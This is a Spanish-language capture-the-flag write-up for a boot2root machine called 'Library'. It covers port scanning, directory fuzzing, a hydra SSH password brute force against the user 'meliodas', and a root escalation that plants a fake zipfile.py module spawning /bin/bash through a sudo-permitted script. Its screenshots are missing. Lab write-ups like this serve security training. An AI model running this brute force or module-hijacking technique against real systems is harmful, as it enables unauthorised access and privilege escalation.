Library

boot2root machine for FIT and bsides guatemala CTF - Read user.txt and root.txt.
1. Fase de reconocimiento
- Para conocer a que nos estamos enfrentando lanzamos el siguiente comando:
ping -c 1 {ip}

- De acuerdo con el ttl=63 sabemos que nos estamos enfrentando a una máquina con sistema operativo Linux.
2. Enumeración / Escaneo
- Escaneo de la totalidad de los 65535 puertos de red el cual guardamos en un archivo en formato nmap con el siguiente comando:
└─# nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn {ip} -oN allports

-
De acuerdo con el escaneo anterior, se encuentran los siguientes puertos abiertos; 22 (ssh) y 80 (htp)
-
Escaeno de vulnerabilidades sobre los puerto 80:
└─# nmap -v -A -sC -sV -Pn {ip} -p22,80 --script vuln
- Whatweb nos da la siguiente información:
whatweb {ip}

- Revisión de la URL http://10.10.158.155:

- Buscando el la ruta robots.txt, me encontré con el siguiente mensaje:

3. WFUZ
- Escaeno de subdominios con wfuzz:
└─# wfuzz --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt {ip}/FUZZ/

- Con el anterior escaner encotramos solo un archivo images en el cual no encotramos unas imagenes:

4 Hydra
- Con la información de robots.txt procedemos a intentar por fuerza bruta a conseguir la contraseña del usuario meliodas que habiamos encontrado en la página de inicio:
└─$ hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://{ip} -f -VV -t 4

4. SSH
- Con la contraseña obtenida con hydra del usuario meliodas procedemos a establecer una conexión via *ssh.
└─# ssh meliodas@{ip}

5. Bandera de usuario
- Listamos con ls y encontramos el archivo user.txt:

6. Bandera root
- Búsqueda de vulnerabilidades con el comando sudo -l:

- Creación del binario zipfile.py, desde la máquina atacante, con el siguiente contenido que nos va a escalar una bash como root:
library_ls.pngimport os
ZIP_DEFLATED = 1
def ZipFile(param1, param2, param3):
print(os.system('/bin/bash'))
- Procedemos a compartirlo con un servidor en python

- Descargamos el archivo creado en la máquina con wget:

- Ejecutamos el script bak.py y obtenemos la bandera root:

7. Fuentes
- Writeup: